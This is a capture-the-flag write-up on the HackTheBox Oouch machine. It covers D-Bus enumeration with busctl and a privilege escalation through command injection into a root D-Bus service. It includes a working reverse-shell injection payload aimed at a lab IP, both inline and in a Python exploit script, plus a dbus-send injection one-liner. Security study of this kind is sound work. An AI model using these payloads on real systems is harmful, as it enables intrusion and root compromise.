# D-Bus Enumeration & Command Injection Privilege Escalation
**The examples of this page are based on the Oouch box from HTB.**
## **Enumeration**
### List Service Objects
It's possible to list opened D-Bus interfaces with:
```bash
busctl list #List D-Bus interfaces
NAME PID PROCESS USER CONNECTION UNIT SE
:1.0 1 systemd root :1.0 init.scope -
:1.1345 12817 busctl qtc :1.1345 session-729.scope 72
:1.2 1576 systemd-timesyn systemd-timesync :1.2 systemd-timesyncd.service -
:1.3 2609 dbus-server root :1.3 dbus-server.service -

```
### Service Object Info
Then, you can obtain some information about the interface with:
```bash
busctl status htb.oouch.Block #Get info of "htb.oouch.Block" interface

```
### List Interfaces of a Service Object
You need to have enough permissions.
```bash
busctl tree htb.oouch.Block #Get Interfaces of the service object
└─/htb
└─/htb/oouch
└─/htb/oouch/Block
```
### Introspect Interface of a Service Object
Note how in this example it was selected the latest interface discovered using the `tree` parameter \(_see previous section_\):
```bash
busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface
NAME TYPE SIGNATURE RESULT/VALUE FLAGS
htb.oouch.Block interface - - -
.Block method s s -
org.freedesktop.DBus.Introspectable interface - - -
.Introspect method - s -
org.freedesktop.DBus.Peer interface - - -
.GetMachineId method - s -
.Ping method - - -
org.freedesktop.DBus.Properties interface - - -
.Get method ss v -
.GetAll method s a{sv} -
.Set method ssv - -
.PropertiesChanged signal sa{sv}as - -
```
Note the method `.Block` of the interface `htb.oouch.Block` \(the one we are interested in\). The "s" of the other columns may mean that it's expecting a string.
### Monitor/Capture Interface
With enough privileges \(just `send_destination` and `receive_sender` privileges aren't enough\) you can monitor a D-Bus communication. In the following example the interface `htb.oouch.Block` is monitored and **the message "**_**lalalalal**_**" is sent through miscommunication**:
```bash
busctl monitor htb.oouch.Block
Monitoring bus message stream.
‣ Type=method_call Endian=l Flags=0 Version=1 Priority=0 Cookie=2
Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=Block
UniqueName=:1.1376
MESSAGE "s" {
STRING "lalalalal";
};
‣ Type=method_return Endian=l Flags=1 Version=1 Priority=0 Cookie=16 ReplyCookie=2
Sender=:1.3 Destination=:1.1376
UniqueName=:1.3
MESSAGE "s" {
STRING "Carried out :D";
};
```
You can use `capture` instead of `monitor` to save the results in a pcap file.
### More
`busctl` have even more options, [**find all of them here**](https://www.freedesktop.org/software/systemd/man/busctl.html).
## **Vulnerable Scenario**
As user **qtc inside the host "oouch"** you can find an **unexpected D-Bus config file** located in _/etc/dbus-1/system.d/htb.oouch.Block.conf_:
```markup
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- -->
<!DOCTYPE busconfig PUBLIC
"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>
<policy user="root">
<allow own="htb.oouch.Block"/>
</policy>
<policy user="www-data">
<allow send_destination="htb.oouch.Block"/>
<allow receive_sender="htb.oouch.Block"/>
</policy>
</busconfig>
```
Note from the previous configuration that **you will need to be the user `root` or `www-data` to send and receive information** via this D-BUS communication.
As user **qtc** inside the docker container **aeb4525789d8** you can find some dbus related code in the file _/code/oouch/routes.py._ This is the interesting code:
```python
if primitive_xss.search(form.textfield.data):
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr)
response = block_iface.Block(client_ip)
bus.close()
return render_template('hacker.html', title='Hacker')
```
As you can see, it is **connecting to a D-Bus interface** and sending to the **"Block" function** the "client\_ip".
In the other side of the D-Bus connection there is some C compiled binary running. This code is **listening** in the D-Bus connection **for IP address and is calling iptables via `system` function** to block the given IP address.
**The call to `system` is vulnerable on purpose to command injection**, so a payload like the following one will create a reverse shell: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
### Exploit it
At the end of this page you can find the **complete C code of the D-Bus application**. Inside of it you can find between the lines 91-97 **how the** _**D-Bus object path**_ **and** _**interface name**_ **are registered**. This information will be necessary to send information to the D-Bus connection:
```c
/* Install the object */
r = sd_bus_add_object_vtable(bus,
&slot,
"/htb/oouch/Block", /* interface */
"htb.oouch.Block", /* service object */
block_vtable,
NULL);
```
Also, in line 57 you can find that **the only method registered** for this D-Bus communication is called `Block`\(_**Thats why in the following section the payloads are going to be sent to the service object `htb.oouch.Block`, the interface `/htb/oouch/Block` and the method name `Block`**_\):
```c
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
```
#### Python
The following python code will send the payload to the D-Bus connection to the `Block` method via `block_iface.Block(runme)` \(_note that it was extracted from the previous chunk of code_\):
```python
import dbus
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
runme = ";bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #"
response = block_iface.Block(runme)
bus.close()
```
#### busctl and dbus-send
```bash
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #'
```
* `dbus-send` is a tool used to send message to “Message Bus”
* Message Bus A software used by systems to make communications between applications easily. Its related to Message Queue \(messages are ordered in sequence\) but in Message Bus the messages are sending in a subscription model and also very quick.
* “-system” tag is used to mention that it is a system message, not a session message \(by default\).
*print-reply” tag is used to print our message appropriately and receives any replies in a human-readable format.
*dest=Dbus-Interface-Block” The address of the Dbus interface.
*string:” Type of message we like to send to the interface. There are several formats of sending messages like double, bytes, booleans, int, objpath. Out of this, the “object path” is useful when we want to send a path of a file to the Dbus interface. We can use a special file \(FIFO\) in this case to pass a command to interface in the name of a file. “string:;” This is to call the object path again where we place of FIFO reverse shell file/command.
_Note that in `htb.oouch.Block.Block`, the first part \(`htb.oouch.Block`\) references the service object and the last part \(`.Block`\) references the method name._
